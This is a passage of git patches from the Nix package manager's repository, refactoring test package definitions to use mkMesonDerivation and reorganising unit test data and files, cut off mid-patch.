-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -72,8 +62,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -87,8 +77,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -108,8 +97,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-fetchers-tests/package.nix b/src/nix-fetchers-tests/package.nix
index 5cf18ce33c3..759743a8b92 100644
--- a/src/nix-fetchers-tests/package.nix
+++ b/src/nix-fetchers-tests/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -16,40 +17,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-fetchers-tests";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -70,8 +60,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -85,8 +75,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -106,8 +95,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-flake-tests/package.nix b/src/nix-flake-tests/package.nix
index 21af753ae02..a7783593aa5 100644
--- a/src/nix-flake-tests/package.nix
+++ b/src/nix-flake-tests/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -16,40 +17,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-flake-tests";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -70,8 +60,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -85,8 +75,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -106,8 +95,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-store-test-support/package.nix b/src/nix-store-test-support/package.nix
index 0f4ea73bad2..250f29b8641 100644
--- a/src/nix-store-test-support/package.nix
+++ b/src/nix-store-test-support/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -14,40 +15,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-store-test-support";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -67,8 +57,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -82,8 +72,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -91,8 +80,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-store-tests/package.nix b/src/nix-store-tests/package.nix
index dc987b3c696..e6750771ffd 100644
--- a/src/nix-store-tests/package.nix
+++ b/src/nix-store-tests/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -18,40 +19,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-store-tests";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -74,8 +64,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -89,8 +79,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -115,8 +104,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-util-test-support/package.nix b/src/nix-util-test-support/package.nix
index 795159ebfc7..42a56d58f04 100644
--- a/src/nix-util-test-support/package.nix
+++ b/src/nix-util-test-support/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -13,40 +14,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-util-test-support";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -65,8 +55,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -80,8 +70,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -89,8 +78,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })
diff --git a/src/nix-util-tests/package.nix b/src/nix-util-tests/package.nix
index 9df8153b64c..2491d872279 100644
--- a/src/nix-util-tests/package.nix
+++ b/src/nix-util-tests/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -17,40 +18,29 @@
 # Configuration Options
 
 , versionSuffix ? ""
-
-# Check test coverage of Nix. Probably want to use with at least
-# one of `doCheck` or `doInstallCheck` enabled.
-, withCoverageChecks ? false
 }:
 
 let
   inherit (lib) fileset;
 
   version = lib.fileContents ./.version + versionSuffix;
-
-  mkDerivation =
-    if withCoverageChecks
-    then
-      # TODO support `finalAttrs` args function in
-      # `releaseTools.coverageAnalysis`.
-      argsFun:
-         releaseTools.coverageAnalysis (let args = argsFun args; in args)
-    else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-util-tests";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      # ./meson.options
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../build-utils-meson
+    ./build-utils-meson
+    ../../.version
+    ./.version
+    ./meson.build
+    # ./meson.options
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -72,8 +62,8 @@ mkDerivation (finalAttrs: {
     # "Inline" .version so it's not a symlink, and includes the suffix.
     # Do the meson utils, without modification.
     ''
-      echo ${version} > .version
-      cp -r ${../../build-utils-meson} build-utils-meson
+      chmod u+w ./.version
+      echo ${version} > ../../.version
     '';
 
   mesonFlags = [
@@ -87,8 +77,7 @@ mkDerivation (finalAttrs: {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
-  strictDeps = !withCoverageChecks;
+  strictDeps = true;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
 
@@ -108,8 +97,4 @@ mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
   };
 
-} // lib.optionalAttrs withCoverageChecks {
-  lcovFilter = [ "*/boost/*" "*-tab.*" ];
-
-  hardeningDisable = [ "fortify" ];
 })

From 11946817f0858115f8afbfacd5b65d47552d37a7 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 1 Jul 2024 14:31:04 -0400
Subject: [PATCH 491/528] fileset for store unit test data

---
 src/nix-store-tests/package.nix | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/src/nix-store-tests/package.nix b/src/nix-store-tests/package.nix
index e6750771ffd..243b9f14904 100644
--- a/src/nix-store-tests/package.nix
+++ b/src/nix-store-tests/package.nix
@@ -86,14 +86,18 @@ mkMesonDerivation (finalAttrs: {
   passthru = {
     tests = {
       run = let
-        # Inline some drv files shared with the libexpr tests
-        data = runCommand "${finalAttrs.pname}-test-data" {} ''
-          cp -r --no-preserve=mode ${./data} $out
-          cp -r --remove-destination ${../../tests/functional/derivation}/* $out/derivation/
-        '';
+        # Some data is shared with the functional tests: they create it,
+        # we consume it.
+        data = lib.fileset.toSource {
+          root = ../..;
+          fileset = lib.fileset.unions [
+            ./data
+            ../../tests/functional/derivation
+          ];
+        };
       in runCommand "${finalAttrs.pname}-run" {} ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
-        export _NIX_TEST_UNIT_DATA=${data}
+        export _NIX_TEST_UNIT_DATA=${data + "/src/nix-store-test/data"}
         nix-store-tests
         touch $out
       '';

From 451f8a8c19e2ab95999553f5bf3a1fb056877933 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 1 Jul 2024 00:25:57 -0400
Subject: [PATCH 492/528] Put back files for now

We'll revert this sometime later
---
 .gitignore                                    |  10 +-
 maintainers/flake-module.nix                  | 122 +++++++++---------
 packaging/components.nix                      |  16 +--
 src/nix-expr-test-support                     |   1 +
 src/nix-expr-test-support/.version            |   1 -
 src/nix-expr-test-support/build-utils-meson   |   1 -
 src/nix-expr-tests                            |   1 +
 src/nix-expr-tests/.version                   |   1 -
 src/nix-expr-tests/build-utils-meson          |   1 -
 src/nix-fetchers-tests                        |   1 +
 src/nix-fetchers-tests/.version               |   1 -
 src/nix-fetchers-tests/build-utils-meson      |   1 -
 src/nix-flake-tests                           |   1 +
 src/nix-flake-tests/.version                  |   1 -
 src/nix-flake-tests/build-utils-meson         |   1 -
 src/nix-store-test-support                    |   1 +
 src/nix-store-test-support/.version           |   1 -
 src/nix-store-test-support/build-utils-meson  |   1 -
 src/nix-store-tests                           |   1 +
 src/nix-store-tests/.version                  |   1 -
 src/nix-store-tests/build-utils-meson         |   1 -
 .../advanced-attributes-defaults.drv          |   1 -
 ...d-attributes-structured-attrs-defaults.drv |   1 -
 .../advanced-attributes-structured-attrs.drv  |   1 -
 .../data/derivation/advanced-attributes.drv   |   1 -
 src/nix-util-test-support                     |   1 +
 src/nix-util-test-support/.version            |   1 -
 src/nix-util-test-support/build-utils-meson   |   1 -
 src/nix-util-tests                            |   1 +
 src/nix-util-tests/.version                   |   1 -
 src/nix-util-tests/build-utils-meson          |   1 -
 tests/unit/libexpr-support/.version           |   1 +
 tests/unit/libexpr-support/build-utils-meson  |   1 +
 .../unit/libexpr-support}/meson.build         |   0
 .../unit/libexpr-support}/package.nix         |   6 +-
 .../unit/libexpr-support}/tests/libexpr.hh    |   0
 .../libexpr-support}/tests/nix_api_expr.hh    |   0
 .../libexpr-support}/tests/value/context.cc   |   0
 .../libexpr-support}/tests/value/context.hh   |   0
 tests/unit/libexpr/.version                   |   1 +
 tests/unit/libexpr/build-utils-meson          |   1 +
 .../unit/libexpr}/data/.gitkeep               |   0
 .../unit/libexpr}/derived-path.cc             |   0
 .../unit/libexpr}/error_traces.cc             |   0
 .../unit/libexpr}/eval.cc                     |   0
 .../unit/libexpr}/json.cc                     |   0
 .../unit/libexpr}/main.cc                     |   0
 .../unit/libexpr}/meson.build                 |   0
 .../unit/libexpr}/nix_api_expr.cc             |   0
 .../unit/libexpr}/nix_api_external.cc         |   0
 .../unit/libexpr}/nix_api_value.cc            |   0
 .../unit/libexpr}/package.nix                 |   6 +-
 .../unit/libexpr}/primops.cc                  |   0
 .../unit/libexpr}/search-path.cc              |   0
 .../unit/libexpr}/trivial.cc                  |   0
 .../unit/libexpr}/value/context.cc            |   0
 .../unit/libexpr}/value/print.cc              |   0
 .../unit/libexpr}/value/value.cc              |   0
 tests/unit/libfetchers/.version               |   1 +
 tests/unit/libfetchers/build-utils-meson      |   1 +
 .../data/public-key/defaultType.json          |   0
 .../data/public-key/noRoundTrip.json          |   0
 .../libfetchers}/data/public-key/simple.json  |   0
 .../unit/libfetchers}/meson.build             |   0
 .../unit/libfetchers}/package.nix             |   6 +-
 .../unit/libfetchers}/public-key.cc           |   0
 tests/unit/libflake/.version                  |   1 +
 tests/unit/libflake/build-utils-meson         |   1 +
 .../unit/libflake}/data/.gitkeep              |   0
 .../unit/libflake}/flakeref.cc                |   0
 .../unit/libflake}/meson.build                |   0
 .../unit/libflake}/package.nix                |   6 +-
 .../unit/libflake}/url-name.cc                |   0
 tests/unit/libstore-support/.version          |   1 +
 tests/unit/libstore-support/build-utils-meson |   1 +
 .../unit/libstore-support}/meson.build        |   0
 .../unit/libstore-support}/package.nix        |   6 +-
 .../libstore-support}/tests/derived-path.cc   |   0
 .../libstore-support}/tests/derived-path.hh   |   0
 .../unit/libstore-support}/tests/libstore.hh  |   0
 .../libstore-support}/tests/nix_api_store.hh  |   0
 .../libstore-support}/tests/outputs-spec.cc   |   0
 .../libstore-support}/tests/outputs-spec.hh   |   0
 .../unit/libstore-support}/tests/path.cc      |   0
 .../unit/libstore-support}/tests/path.hh      |   0
 .../unit/libstore-support}/tests/protocol.hh  |   0
 tests/unit/libstore/.version                  |   1 +
 tests/unit/libstore/build-utils-meson         |   1 +
 .../unit/libstore}/common-protocol.cc         |   0
 .../unit/libstore}/content-address.cc         |   0
 .../data/common-protocol/content-address.bin  | Bin
 .../data/common-protocol/drv-output.bin       | Bin
 .../optional-content-address.bin              | Bin
 .../common-protocol/optional-store-path.bin   | Bin
 .../data/common-protocol/realisation.bin      | Bin
 .../libstore}/data/common-protocol/set.bin    | Bin
 .../data/common-protocol/store-path.bin       | Bin
 .../libstore}/data/common-protocol/string.bin | Bin
 .../libstore}/data/common-protocol/vector.bin | Bin
 .../advanced-attributes-defaults.drv          |   1 +
 .../advanced-attributes-defaults.json         |   0
 ...d-attributes-structured-attrs-defaults.drv |   1 +
 ...-attributes-structured-attrs-defaults.json |   0
 .../advanced-attributes-structured-attrs.drv  |   1 +
 .../advanced-attributes-structured-attrs.json |   0
 .../data/derivation/advanced-attributes.drv   |   1 +
 .../derivation/bad-old-version-dyn-deps.drv   |   0
 .../libstore}/data/derivation/bad-version.drv |   0
 .../data/derivation/dynDerivationDeps.drv     |   0
 .../data/derivation/dynDerivationDeps.json    |   0
 .../data/derivation/output-caFixedFlat.json   |   0
 .../data/derivation/output-caFixedNAR.json    |   0
 .../data/derivation/output-caFixedText.json   |   0
 .../data/derivation/output-caFloating.json    |   0
 .../data/derivation/output-deferred.json      |   0
 .../data/derivation/output-impure.json        |   0
 .../derivation/output-inputAddressed.json     |   0
 .../unit/libstore}/data/derivation/simple.drv |   0
 .../libstore}/data/derivation/simple.json     |   0
 .../unit/libstore}/data/machines/bad_format   |   0
 .../unit/libstore}/data/machines/valid        |   0
 .../unit/libstore}/data/nar-info/impure.json  |   0
 .../unit/libstore}/data/nar-info/pure.json    |   0
 .../data/path-info/empty_impure.json          |   0
 .../libstore}/data/path-info/empty_pure.json  |   0
 .../unit/libstore}/data/path-info/impure.json |   0
 .../unit/libstore}/data/path-info/pure.json   |   0
 .../data/serve-protocol/build-options-2.1.bin | Bin
 .../data/serve-protocol/build-options-2.2.bin | Bin
 .../data/serve-protocol/build-options-2.3.bin | Bin
 .../data/serve-protocol/build-options-2.7.bin | Bin
 .../data/serve-protocol/build-result-2.2.bin  | Bin
 .../data/serve-protocol/build-result-2.3.bin  | Bin
 .../data/serve-protocol/build-result-2.6.bin  | Bin
 .../data/serve-protocol/content-address.bin   | Bin
 .../data/serve-protocol/drv-output.bin        | Bin
 .../serve-protocol/handshake-to-client.bin    | Bin
 .../optional-content-address.bin              | Bin
 .../serve-protocol/optional-store-path.bin    | Bin
 .../data/serve-protocol/realisation.bin       | Bin
 .../libstore}/data/serve-protocol/set.bin     | Bin
 .../data/serve-protocol/store-path.bin        | Bin
 .../libstore}/data/serve-protocol/string.bin  | Bin
 .../unkeyed-valid-path-info-2.3.bin           | Bin
 .../unkeyed-valid-path-info-2.4.bin           | Bin
 .../libstore}/data/serve-protocol/vector.bin  | Bin
 .../libstore}/data/store-reference/auto.txt   |   0
 .../data/store-reference/auto_param.txt       |   0
 .../data/store-reference/local_1.txt          |   0
 .../data/store-reference/local_2.txt          |   0
 .../store-reference/local_shorthand_1.txt     |   0
 .../store-reference/local_shorthand_2.txt     |   0
 .../libstore}/data/store-reference/ssh.txt    |   0
 .../libstore}/data/store-reference/unix.txt   |   0
 .../data/store-reference/unix_shorthand.txt   |   0
 .../data/worker-protocol/build-mode.bin       | Bin
 .../worker-protocol/build-result-1.27.bin     | Bin
 .../worker-protocol/build-result-1.28.bin     | Bin
 .../worker-protocol/build-result-1.29.bin     | Bin
 .../worker-protocol/build-result-1.37.bin     | Bin
 .../client-handshake-info_1_30.bin            |   0
 .../client-handshake-info_1_33.bin            | Bin
 .../client-handshake-info_1_35.bin            | Bin
 .../data/worker-protocol/content-address.bin  | Bin
 .../worker-protocol/derived-path-1.29.bin     | Bin
 .../worker-protocol/derived-path-1.30.bin     | Bin
 .../data/worker-protocol/drv-output.bin       | Bin
 .../worker-protocol/handshake-to-client.bin   | Bin
 .../keyed-build-result-1.29.bin               | Bin
 .../optional-content-address.bin              | Bin
 .../worker-protocol/optional-store-path.bin   | Bin
 .../worker-protocol/optional-trusted-flag.bin | Bin
 .../data/worker-protocol/realisation.bin      | Bin
 .../libstore}/data/worker-protocol/set.bin    | Bin
 .../data/worker-protocol/store-path.bin       | Bin
 .../libstore}/data/worker-protocol/string.bin | Bin
 .../unkeyed-valid-path-info-1.15.bin          | Bin
 .../worker-protocol/valid-path-info-1.15.bin  | Bin
 .../worker-protocol/valid-path-info-1.16.bin  | Bin
 .../libstore}/data/worker-protocol/vector.bin | Bin
 .../libstore}/derivation-advanced-attrs.cc    |   0
 .../unit/libstore}/derivation.cc              |   0
 .../unit/libstore}/derived-path.cc            |   0
 .../unit/libstore}/downstream-placeholder.cc  |   0
 .../unit/libstore}/machines.cc                |   0
 .../unit/libstore}/meson.build                |   0
 .../unit/libstore}/nar-info-disk-cache.cc     |   0
 .../unit/libstore}/nar-info.cc                |   0
 .../unit/libstore}/nix_api_store.cc           |   0
 .../unit/libstore}/outputs-spec.cc            |   0
 .../unit/libstore}/package.nix                |  10 +-
 .../unit/libstore}/path-info.cc               |   0
 .../unit/libstore}/path.cc                    |   0
 .../unit/libstore}/references.cc              |   0
 .../unit/libstore}/serve-protocol.cc          |   0
 .../unit/libstore}/store-reference.cc         |   0
 .../unit/libstore}/worker-protocol.cc         |   0
 tests/unit/libutil-support/.version           |   1 +
 tests/unit/libutil-support/build-utils-meson  |   1 +
 .../unit/libutil-support}/meson.build         |   0
 .../unit/libutil-support}/package.nix         |   6 +-
 .../tests/characterization.hh                 |   0
 .../unit/libutil-support}/tests/hash.cc       |   0
 .../unit/libutil-support}/tests/hash.hh       |   0
 .../libutil-support}/tests/nix_api_util.hh    |   0
 .../libutil-support}/tests/string_callback.cc |   0
 .../libutil-support}/tests/string_callback.hh |   0
 tests/unit/libutil/.version                   |   1 +
 .../unit/libutil}/args.cc                     |   0
 tests/unit/libutil/build-utils-meson          |   1 +
 .../unit/libutil}/canon-path.cc               |   0
 .../unit/libutil}/chunked-vector.cc           |   0
 .../unit/libutil}/closure.cc                  |   0
 .../unit/libutil}/compression.cc              |   0
 .../unit/libutil}/config.cc                   |   0
 .../unit/libutil}/data/git/check-data.sh      |   0
 .../libutil}/data/git/hello-world-blob.bin    | Bin
 .../unit/libutil}/data/git/hello-world.bin    | Bin
 .../unit/libutil}/data/git/tree.bin           | Bin
 .../unit/libutil}/data/git/tree.txt           |   0
 .../unit/libutil}/file-content-address.cc     |   0
 .../unit/libutil}/git.cc                      |   2 +-
 .../unit/libutil}/hash.cc                     |   0
 .../unit/libutil}/hilite.cc                   |   0
 .../unit/libutil}/json-utils.cc               |   0
 .../unit/libutil}/logging.cc                  |   0
 .../unit/libutil}/lru-cache.cc                |   0
 .../unit/libutil}/meson.build                 |   0
 .../unit/libutil}/nix_api_util.cc             |   0
 .../unit/libutil}/package.nix                 |   6 +-
 .../unit/libutil}/pool.cc                     |   0
 .../unit/libutil}/references.cc               |   0
 .../unit/libutil}/spawn.cc                    |   0
 .../unit/libutil}/suggestions.cc              |   0
 .../unit/libutil}/tests.cc                    |   0
 .../unit/libutil}/url.cc                      |   0
 .../unit/libutil}/xml-writer.cc               |   0
 237 files changed, 129 insertions(+), 121 deletions(-)
 create mode 120000 src/nix-expr-test-support
 delete mode 120000 src/nix-expr-test-support/.version
 delete mode 120000 src/nix-expr-test-support/build-utils-meson
 create mode 120000 src/nix-expr-tests
 delete mode 120000 src/nix-expr-tests/.version
 delete mode 120000 src/nix-expr-tests/build-utils-meson
 create mode 120000 src/nix-fetchers-tests
